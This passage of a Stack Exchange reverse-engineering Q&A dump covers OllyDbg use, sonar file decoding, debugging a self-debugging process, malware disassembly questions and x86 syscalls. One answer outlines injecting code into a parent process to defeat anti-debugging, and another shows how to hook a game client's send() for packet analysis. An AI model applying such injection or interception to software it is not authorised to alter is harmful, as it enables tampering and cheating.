  <row Id="2846" PostTypeId="1" CreationDate="2013-09-27T03:26:32.867" Score="3" ViewCount="5027" Body="&lt;p&gt;I am trying to find the function that sends packets to the server in a game client. I have read many tuts about finding the SEND function. But they are not helpful in finding in my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i started as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I first attached the game client in ollydbg.Then found all the executable modules.&lt;/li&gt;&#xA;&lt;li&gt;Then opened the &lt;code&gt;client.exe&lt;/code&gt;. Further i searched for all intermodular calls.&lt;/li&gt;&#xA;&lt;li&gt;Then I searched for the SEND function. I got Five &lt;code&gt;SendMessage()&lt;/code&gt; functions.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;From this step I don't understand what to do further.&lt;/p&gt;&#xA;" OwnerUserId="2899" LastEditorUserId="245" LastEditDate="2013-09-27T10:18:10.163" LastActivityDate="2013-09-27T10:18:10.163" Title="Finding send function for tcp packets in game client" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2847" PostTypeId="2" ParentId="2846" CreationDate="2013-09-27T03:52:04.230" Score="9" Body="&lt;p&gt;While in the CPU/Disassembly window, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; (for &quot;Goto&quot;). Type &quot;send&quot; and press the &lt;kbd&gt;OK&lt;/kbd&gt; button. This should bring you to the address of the &lt;code&gt;send()&lt;/code&gt; function in WS2_32.dll and you can set a breakpoint on this address.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-09-27T03:52:04.230" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2848" PostTypeId="1" CreationDate="2013-09-27T14:01:24.753" Score="6" ViewCount="1015" Body="&lt;p&gt;We are trying to extract sonar data from a proprietary sonar log file format, which we have working well in most cases. The data is stored in binary, with a variable length header containing information such as depth, geographic location etc, and a byte array of raw sonar returns. Most of the examples we have of this format have a simple byte array, where each byte is a raw sonar return level. Creating a bitmap using these values with a monochrome 8 bit palette will give you a visual depiction of the sonar, as you might see on an echo sounder screen.&#xA;Recently we have been given some older files that do do not store the sonar ping data in the same way. These files were apparently recorded on a &quot;low quality&quot; setting, and some sort of compression has been applied. The headers are readable as before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We know that the files we cannot read have a &quot;chunk length&quot; of 1600 bytes (this was configurable on the unit). Chunk length refers to the size of the ping array + the header. In this case, the header is 28 bytes long - but the gap until the next row is only 372 bytes. This suggests that the compression is fixed, and produces 4 final bytes per file encoded byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of one chunk of this compressed byte array. The first two bytes of the example are not part of the byte array, but might be significant. On uncompressed versions of this file, this number is -1. On the compressed versions, it has a number that varies per ping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice or pointers how to proceed would be very warmly received. Just in case it helps at all, its very typical for ping to contain a cluster of non-zero values at the beginning (noise from the surface), then a lot of zero or very low values, then some more significant values from the return signal of the bottom.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;67 7F 42 46 3D 35 3C 53 3B 40 80 40 36 41 3A&#xA;53 3F 3F 40 40 80 40 40 81 40 47 40 40 40 3D 51&#xA;3E 40 40 40 40 40 40 81 40 89 40 3B 43 3F 40 40&#xA;40 40 40 80 3E 46 3F 41 3E 41 40 40 40 40 80 40&#xA;40 40 40 40 80 40 81 40 80 40 95 3F 42 40 40 40&#xA;40 40 40 40 40 40 40 40 40 40 40 40 40 40 3F 46&#xA;40 40 40 41 40 40 40 40 40 40 40 40 40 40 40 40&#xA;40 40 40 40 40 40 80 40 40 40 40 40 40 40 40 84&#xA;40 90 40 9F 40 3F 40 40 40 40 40 40 40 40 40 40&#xA;40 40 40 40 40 40 81 40 40 40 40 40 40 40 80 40&#xA;40 40 40 81 40 81 40 80 40 44 40 40 40 40 80 40&#xA;40 40 80 40 40 80 40 80 40 40 40 81 40 40 40 82&#xA;40 40 40 80 40 81 40 83 40 80 40 40 83 40 80 40&#xA;40 80 40 80 40 80 40 40 80 40 88 40 84 40 E6 40&#xA;40 40 40 40 40 40 83 40 80 40 40 80 40 40 40 40&#xA;80 40 40 40 82 40 40 40 40 40 40 80 40 40 40 80&#xA;40 40 85 40 81 40 40 81 40 81 40 82 40 88 40 40&#xA;80 40 80 40 40 40 42 83 40 40 40 81 40 80 40 80&#xA;40 40 80 40 40 80 40 80 40 40 80 40 80 40 40 80&#xA;40 80 40 80 40 40 40 84 40 40 40 40 86 40 40 40&#xA;AC 40 93 40 FF E9 40 40 40 40 40 80 40 40 40 40&#xA;80 40 40 82 40 87 40 82 40 83 40 40 80 40 80 40&#xA;8B 40 40 8B 40 82 40 86 40 8D 40 91 40 93 40 81&#xA;40 86 40 88 40 42 00 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit to add: &quot;compressed&quot; might not be the right term for this (the file snippet above certainly doesn't look compressed with all those similar values). I guess it might be just some type of encoding, and is probably lossy - which is why the option is referred to as &quot;low quality&quot;. It's also possible that just two bytes per byte are required here - we are not 100% sure. It's nothing as obvious as nibbles though. Also, this would have been recorded on old hardware units without a lot of processing power, in real time. So I doubt its anything fancy.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Edit to add further information and clarification&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Just to clear up some confusion (my fault) and answer sukminders questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;My bad - I did not remove the trailing 34 bytes from my original example - I have now done so, and those 34 bytes were the next header and first 6 bytes of the next ping. I have updated the original bytes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A bit more about the file format: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The file starts with 8 bytes that are not repeated, contained within this header is a short that indicates the row length of the file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The header for each row can be variable in length - there is a bit mask as one of the first fields in the header, which indicates which fields to read. In this particular file, the headers are 28 bytes - but can in fact vary row to row as data is included.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The ping data size (in file bytes) is the file-level row-size minus the header length.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;We know we have the header sorted, as we get legitimate latitude, longitude, time (ms offset) and depth information. We can plot a trail using the data in this file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am going to take back the idea that we think these bytes expand to 1600 bytes - we are not sure enough, and that could be a red herring. We do &quot;know&quot; that the observed ping is larger that 372 bytes, and that the file was recorded at &quot;low quality&quot;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;We have access to a viewing app that shows this file, but only as an image on screen. We cannot get a raw byte output for comparison. The ping in the example above is very typical - the big cluster of 0x40 and 0x80 values in the middle are likely to be zero or near zero values.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Files that exhibit this encoding have the value 1024 (decimal) in the 8 byte file header, where files that do not exhibit this encoding have a zero.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think some sort of run-length encoding sounds very likely - but nothing obvious enough for me to work out! Happy to supply files and viewer app (freeware - not ours) to anyone interested.&lt;/p&gt;&#xA;" OwnerUserId="2903" LastEditorUserId="2903" LastEditDate="2013-09-29T07:27:28.777" LastActivityDate="2013-09-29T07:27:28.777" Title="Reverse engineering compressed byte array" Tags="|file-format|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2852" PostTypeId="2" ParentId="1817" CreationDate="2013-09-29T02:14:35.327" Score="9" Body="&lt;p&gt;&lt;a href=&quot;http://www.onlinedisassembler.com/odaweb/&quot;&gt;ODA&lt;/a&gt; (the Online Disassembler) supports a myriad of architectures and provides a basic feature set.  You can enter binary data in the Live View and watch the disassembly appear as you type, or you can upload a file to disassemble.  A nice feature of this site is that you can share the link to the disassembly with others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.onlinedisassembler.com&quot;&gt;http://www.onlinedisassembler.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2910" LastActivityDate="2013-09-29T02:14:35.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2854" PostTypeId="2" ParentId="2848" CreationDate="2013-09-29T06:26:22.477" Score="4" Body="&lt;p&gt;Not an answer, but this became to messy as a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what you write I interpret it to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;67 7F                                            &amp;lt; Last two bytes of header&#xA;                                                 +---&#xA;42 46 3D 35 3C 53 3B 40 80 40 36 41 3A 53 3F 3F  |&#xA;40 40 80 40 40 81 40 47 40 40 40 3D 51 3E 40 40  |&#xA;...                                              : 372 ping bytes&#xA;8B 40 82 40 86 40 8D 40 91 40 93 40 81 40 86 40  |&#xA;88 40 42 00                                      |&#xA;                                                 +---&#xA;                                                 +---&#xA;01 2C CB C9 97 41 B9 1E 55 41 05 EA CC 3F 0D 8E  |&#xA;53 41 73 00 00 00 ED 20 00 00 67 7F 42 46 3D 35  | What is this then? (34 bytes)&#xA;3C 53                                            |&#xA;                                                 +---&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At first glimpse I also note that the sample data has this sequence repeated at top and end of data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;67 7F 42 46 3D 35 3C 53&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do you know the header is 28 bytes? Is the size hardcoded in the header?&lt;/li&gt;&#xA;&lt;li&gt;Are the depth and location data sane throughout the file? Do you have approximately these values elsewhere?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It seems to me that before trying to do anything else one should make sure one decode the headers correctly. Knowing depth, from header, you should be able to recognize scatter in ping data from bottom as depth changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As there is a mayor use of bytes in the lower &lt;code&gt;0x40&lt;/code&gt;'s and &lt;code&gt;0x80&lt;/code&gt;'s it could indicate higher bits, e.g. 3, are some sort of repeat-count. If so the last &lt;code&gt;00&lt;/code&gt; of the 372 could indicate some sort of &lt;em&gt;end of data&lt;/em&gt; indicator. (&lt;code&gt;00&lt;/code&gt; are not elsewhere, but in the next chunk of bytes – the 34 at end).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As said, a bit hard when I'm not sure how the data should be mapped – and only having one sample …&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you respond to this &lt;em&gt;comment&lt;/em&gt; with vital information it would be best to update question instead of commenting below this. (I might delete this as well, if I'm far off or doesn't look more at it …)&lt;/p&gt;&#xA;" OwnerUserId="1568" LastActivityDate="2013-09-29T06:26:22.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2856" PostTypeId="1" CreationDate="2013-09-29T15:29:12.137" Score="8" ViewCount="1735" Body="&lt;p&gt;I need and advice on how to start an analysis, connect with debugger to a process that is already debugging itself. Are there any tools/plugins/techniques that might help during the analysis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;If I connect to the parent process with a debugger then I'll be able to see the Debug events that are being processed. How can I see/monitor what is going on in the child (debug-gee) process?&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="245" LastEditDate="2013-10-11T13:19:40.270" LastActivityDate="2013-10-11T13:19:40.270" Title="How to Attach debugger or start analysis of process that is debugging itself?" Tags="|windows|anti-debugging|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2857" PostTypeId="1" AcceptedAnswerId="2858" CreationDate="2013-09-29T15:53:39.220" Score="12" ViewCount="2310" Body="&lt;p&gt;I am trying to analyze an old malware sample in OllyDbg. It has instruction of the format &lt;code&gt;CALL &amp;lt;JMP.&amp;amp;KERNEL32.SetUnhandledExceptionFilter&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not an expert in Assembly. I know that CALL is used to call a sub-routine and JMP is used to jump to a particular address in the memory but what is the result of using CALL with JMP? Could anyone clarify on it? Even pointers to where I could find answers would be very helpful. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2459" LastActivityDate="2013-09-30T02:03:25.240" Title="Why is JMP used with CALL?" Tags="|disassembly|malware|assembly|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2858" PostTypeId="2" ParentId="2857" CreationDate="2013-09-29T16:39:57.960" Score="13" Body="&lt;p&gt;Seeing a call in the form &lt;code&gt;CALL &amp;lt;JMP.&amp;amp;KERNEL32.SetUnhandledExceptionFilter&amp;gt;&lt;/code&gt; suggests that the binary was compiled with Visual C++'s &lt;strong&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/4khtbfyf%28VS.80%29.aspx&quot;&gt;/INCREMENTAL&lt;/a&gt;&lt;/strong&gt; option, hence the table of jump thunks.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... an incrementally linked executable (.exe) file or dynamic-link library (DLL):&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;May contain jump thunks to handle relocation of functions to new addresses.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2013-09-29T17:12:59.513" LastActivityDate="2013-09-29T17:12:59.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2859" PostTypeId="2" ParentId="2857" CreationDate="2013-09-29T16:42:21.433" Score="5" Body="&lt;p&gt;you're right, it could be called directly instead of being jumped after a call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it makes it easier if the address of the API is referenced only once, and this single reference should be a &lt;code&gt;JMP&lt;/code&gt; (otherwise, it would alter the stack).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, there is only one memory reference to the API, via a single &lt;code&gt;JMP&lt;/code&gt;. Each time the API is used, this &lt;code&gt;JMP&lt;/code&gt; is &lt;code&gt;CALL&lt;/code&gt;-ed, so execution is transferred transparently, and at the end of the API, the original address of the caller being still on the stack, the caller will be transparently returned to.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-09-29T16:42:21.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2860" PostTypeId="2" ParentId="2856" CreationDate="2013-09-29T16:53:07.233" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;Call &lt;code&gt;NtSuspendProcess()&lt;/code&gt; on the child process.&lt;/li&gt;&#xA;&lt;li&gt;Inject code into the parent process to call &lt;code&gt;DebugActiveProcessStop()&lt;/code&gt; on the child process.&lt;/li&gt;&#xA;&lt;li&gt;Attach your debugger to the child process.&lt;/li&gt;&#xA;&lt;li&gt;Call &lt;code&gt;NtResumeProcess()&lt;/code&gt; on the child process.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-09-29T16:53:07.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2861" PostTypeId="2" ParentId="2857" CreationDate="2013-09-30T02:03:25.240" Score="5" Body="&lt;p&gt;The reason is for loading performance - the jumps are gathered into a single region that is made temporarily writable for the purpose of placing the API addresses, and is usually only a single page in size.  This avoids multiple calls to VirtualProtect() by the loader, in order to write all over the code space to every reference to any given API.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2013-09-30T02:03:25.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2862" PostTypeId="1" AcceptedAnswerId="2863" CreationDate="2013-09-30T14:15:16.893" Score="5" ViewCount="1455" Body="&lt;p&gt;Where can I find some resources to start learning about vivisect? &#xA;Blog posts, presentations, PDFs, code examples, anything would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware I can read the code but before doing that I would like to have something to get me started.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2013-09-30T14:36:21.520" Title="vtrace / vivisect resources" Tags="|python|dynamic-analysis|static-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2863" PostTypeId="2" ParentId="2862" CreationDate="2013-09-30T14:28:07.323" Score="4" Body="&lt;p&gt;There's a nice blog entry on it here: &lt;a href=&quot;http://www.singlehop.com/blog/binary-vivisection-part-1/&quot; rel=&quot;nofollow&quot;&gt;http://www.singlehop.com/blog/binary-vivisection-part-1/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;While looking over the changelog and documentation, I realized that&#xA;  there doesn’t really seem to be a good tutorial or primer for getting&#xA;  familiar with the &lt;strong&gt;Vivisect&lt;/strong&gt; framework so hopefully we can remediate&#xA;  that today.  In this series, we’ll be covering the usage of VDB&#xA;  (dynamic debugging component) and &lt;strong&gt;vivisect&lt;/strong&gt; (static analysis tool).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can also see the &lt;code&gt;README&lt;/code&gt; file &lt;a href=&quot;https://code.google.com/p/vtrace-mirror/source/browse/trunk/README-vivisect&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and some related scripts &lt;a href=&quot;https://github.com/pdasilva/vtrace_scripts&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2013-09-30T14:36:21.520" LastActivityDate="2013-09-30T14:36:21.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2864" PostTypeId="1" CreationDate="2013-10-01T16:42:44.717" Score="10" ViewCount="1754" Body="&lt;p&gt;I currently use Windows 7 as my host machine and want to move to Fedora.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have IDA Pro + hexrays decompiler, VMWare Workstation, Hiew, Visual Studio, Olly, and several other smaller tools that should run just fine in wine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can get the VMWare Workstation licence for linux and it would be just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have experience in IDA in both linux and windows. If so, do you see any difference in its usability (decompiler, IDAPy plugins ...) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no realistic replacement for Visual Studio in linux, but it would be nice if eclipse or some other IDE would compile for Windows.&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="189" LastEditDate="2013-11-28T12:51:46.903" LastActivityDate="2013-11-28T12:51:46.903" Title="Moving from Windows to Linux for Malware analysis. What should I consider?" Tags="|tools|development|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2865" PostTypeId="2" ParentId="2864" CreationDate="2013-10-01T19:07:43.450" Score="4" Body="&lt;h2&gt;Not an issue&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I myself do the same thing, however I don't have Hexrays. I can tell you it works great. I use VirtualBox however. This mainly has to do with Seamless mode, this allows me to do great things :)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;System Requirements&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;However I DO recommend to use a decent system. I tried to do this with my old-laptop and it was horrid. Atleast 8GB of RAM, and VT-x is recommended.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The wine way&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have been using IDA Free and OllyDBG with Wine for quite a while. And I had some issues with it, things like unreadable text.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2013-10-01T19:07:43.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2866" PostTypeId="1" CreationDate="2013-10-01T20:31:14.697" Score="3" ViewCount="1432" Body="&lt;p&gt;It sounds strange and I realize that you usually use WinDbg to debug drivers, but I was reading up on &lt;em&gt;Gray Hat Python&lt;/em&gt; and it states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To test this out, try loading the driver &lt;code&gt;C:\WINDOWS\System32\beep.sys&lt;/code&gt; into Immunity Debugger. Once it's loaded, use the debugger's &lt;code&gt;PyShell&lt;/code&gt; and enter the following code:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if this is at all possible. I simply tried loading up &lt;code&gt;beep.sys&lt;/code&gt; in Immunity and it cannot find the entry point and doesn't seem to load&lt;/p&gt;&#xA;" OwnerUserId="2932" LastEditorUserId="107" LastEditDate="2013-10-01T22:13:21.410" LastActivityDate="2016-12-26T13:47:35.410" Title="Loading a Driver in Immunity" Tags="|windows|immunity-debugger|driver|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2867" PostTypeId="2" ParentId="2866" CreationDate="2013-10-02T05:15:27.930" Score="3" Body="&lt;p&gt;edit&#xA;i didn't realize you are asking for immunity the answer is for plain straight ollydbg 1.10 the concept should be similar in immunity &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you need to edit the IMAGE_SUBSYSTEM from &lt;code&gt;IMAGE_SUBSYSTEM_NATIVE&lt;/code&gt; to &lt;code&gt;IMAGE_SUBSYSTEM_WINDOWS_GUI&lt;/code&gt; or &lt;code&gt;_CUI&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ollydbg will now be able to load the driver (imports from hal etc will not be resolved but you can see the correct disassembly if you do alt+e (executable window) select beep.sys right click follow entry &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it should be obvious that you do you your experiments on a saved backup copy of system drivers in a vm or a throwaway configuration and not modify originals and break the os to malfunction and burn your machine&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;open ollydbg alone and use view file to modify subsystem charecteristics to cons&#xA;ole or gui instead of native 0000012C    0300        DW 0003              ;  Sub&#xA;system = IMAGE_SUBSYSTEM_WINDOWS_CUI&#xA;&#xA;C:\&amp;gt;&#xA;C:\&amp;gt;fc /b c:\WINDOWS\system32\drivers\beep.sys c:\myollymodbeep.sys&#xA;Comparing files C:\WINDOWS\SYSTEM32\DRIVERS\beep.sys and C:\MYOLLYMODBEEP.SYS&#xA;0000012C: 01 03&#xA;&#xA;C:\&amp;gt;&quot;f:\odbg110\OLLYDBG.EXE&quot; c:\myollymodbeep.sys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disasm of beep.sys&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0001066C &amp;gt;PUSH    EBP&#xA;0001066D  MOV     EBP, ESP&#xA;0001066F  SUB     ESP, 0C&#xA;00010672  PUSH    EBX&#xA;00010673  PUSH    EDI&#xA;00010674  PUSH    myollymo.00010652                ;  UNICODE &quot;\Device\Beep&quot;&#xA;00010679  LEA     EAX, DWORD PTR SS:[EBP-C]&#xA;0001067C  PUSH    EAX&#xA;0001067D  CALL    NEAR DWORD PTR DS:[&amp;lt;&amp;amp;ntoskrnl.Rt&amp;gt;;  ntoskrnl.RtlInitUnicodeString&#xA;00010683  MOV     EDI, DWORD PTR SS:[EBP+8]&#xA;00010686  LEA     EAX, DWORD PTR SS:[EBP-4]&#xA;00010689  PUSH    EAX                              ; /*DeviceObject = 001B1EB4&#xA;0001068A  XOR     EBX, EBX                         ; |&#xA;0001068C  PUSH    EBX                              ; |Exclusive = 7FFD7000&#xA;0001068D  PUSH    100                              ; |DeviceCharacteristics = 100&#xA;00010692  PUSH    1                                ; |DeviceType = 1&#xA;00010694  LEA     EAX, DWORD PTR SS:[EBP-C]        ; |&#xA;00010697  PUSH    EAX                              ; |DeviceName = &quot;????&quot;&#xA;00010698  PUSH    58                               ; |ULONG DeviceExtensionSize = 58&#xA;0001069A  PUSH    EDI                              ; |DriverObject = 001B1EB4&#xA;0001069B  CALL    NEAR DWORD PTR DS:[&amp;lt;&amp;amp;ntoskrnl.Io&amp;gt;; \IoCreateDevice&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1924" LastActivityDate="2013-10-02T05:15:27.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2868" PostTypeId="2" ParentId="2864" CreationDate="2013-10-02T10:37:41.067" Score="4" Body="&lt;p&gt;For me not very comfortable to run Reversing\analysis tools thru Wine, so there are few options to choose from:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use for windows-style programs virtual machines [VirtualBox\Vmware]&lt;/li&gt;&#xA;&lt;li&gt;Move to  Linux-based tools for same operations [for Pe\Hex\Static analysis]&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I found myself, that for most of research operations you may found tool or set of tools for Linux OS, and for few of them that not - You always have Your VM machine.&#xA;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1334" LastEditorUserId="1334" LastEditDate="2013-10-02T10:56:25.133" LastActivityDate="2013-10-02T10:56:25.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2869" PostTypeId="1" AcceptedAnswerId="2894" CreationDate="2013-10-02T18:33:00.043" Score="24" ViewCount="9586" Body="&lt;p&gt;I would like to know what are the different ways to perform a system&#xA;call in x86 assembler under Linux. But, with no cheating, only&#xA;assembler must be used (i.e. compilation with &lt;code&gt;gcc&lt;/code&gt; must be done with&#xA;&lt;code&gt;-nostdlib&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know four ways to perform a system calls, namely:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;int $0x80&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sysenter&lt;/code&gt; (i586)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;call *%gs:0x10&lt;/code&gt; (vdso trampoline)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;syscall&lt;/code&gt; (amd64)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am pretty good at using &lt;code&gt;int $0x80&lt;/code&gt;, for example, here is a sample&#xA;code of a classic 'Hello World!' in assembler using &lt;code&gt;int $0x80&lt;/code&gt; (compile it with &lt;code&gt;gcc -nostdlib -o hello-int80 hello-int80.s&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data&#xA;msg:&#xA;  .ascii &quot;Hello World!\n&quot;&#xA;  len = . - msg&#xA;&#xA;.text&#xA;.globl _start&#xA;&#xA;_start:&#xA;# Write the string to stdout&#xA;  movl  $len, %edx&#xA;  movl  $msg, %ecx&#xA;  movl  $1, %ebx&#xA;  movl  $4, %eax&#xA;  int   $0x80&#xA;&#xA;# and exit&#xA;  movl  $0, %ebx&#xA;  movl  $1, %eax&#xA;  int   $0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the &lt;code&gt;sysenter&lt;/code&gt; is often ending with a segmentation fault error. Why ? And, how to use it right ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example with &lt;code&gt;call *%gs:0x10&lt;/code&gt; (compiled with &lt;code&gt;gcc -o hello-gs10 hello-gs10.s&lt;/code&gt;). Note that I need to go through the &lt;code&gt;libc&lt;/code&gt; initialization before calling it properly (that is why I am using &lt;code&gt;main&lt;/code&gt; and not anymore &lt;code&gt;_start&lt;/code&gt; and, that is also why I removed the option &lt;code&gt;-nostdlib&lt;/code&gt; from the compile line):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data&#xA;msg:&#xA;  .ascii &quot;Hello World!\n&quot;&#xA;  len = . - msg&#xA;&#xA;.text&#xA;.globl main&#xA;&#xA;main:&#xA;# Write the string to stdout&#xA;  movl  $len, %edx&#xA;  movl  $msg, %ecx&#xA;  movl  $1, %ebx&#xA;  movl  $4, %eax&#xA;  call  *%gs:0x10&#xA;&#xA;# and exit&#xA;  movl  $0, %ebx&#xA;  movl  $1, %eax&#xA;  call  *%gs:0x10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, the &lt;code&gt;syscall&lt;/code&gt; is working pretty well also if you know the &lt;a href=&quot;http://lxr.linux.no/#linux+v2.6.32/arch/x86/include/asm/unistd_64.h&quot;&gt;syscall codes for this architecture&lt;/a&gt; (thanks to lfxgroove) (compiled with: &lt;code&gt;gcc -m64 -nostdlib -o hello-syscall hello-syscall.s&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data&#xA;msg:&#xA;  .ascii &quot;Hello World!\n&quot;&#xA;  len = . - msg&#xA;&#xA;.text&#xA;.globl _start&#xA;&#xA;_start:&#xA;# Write the string to stdout&#xA;  movq  $len, %rdx&#xA;  movq  $msg, %rsi&#xA;  movq  $1, 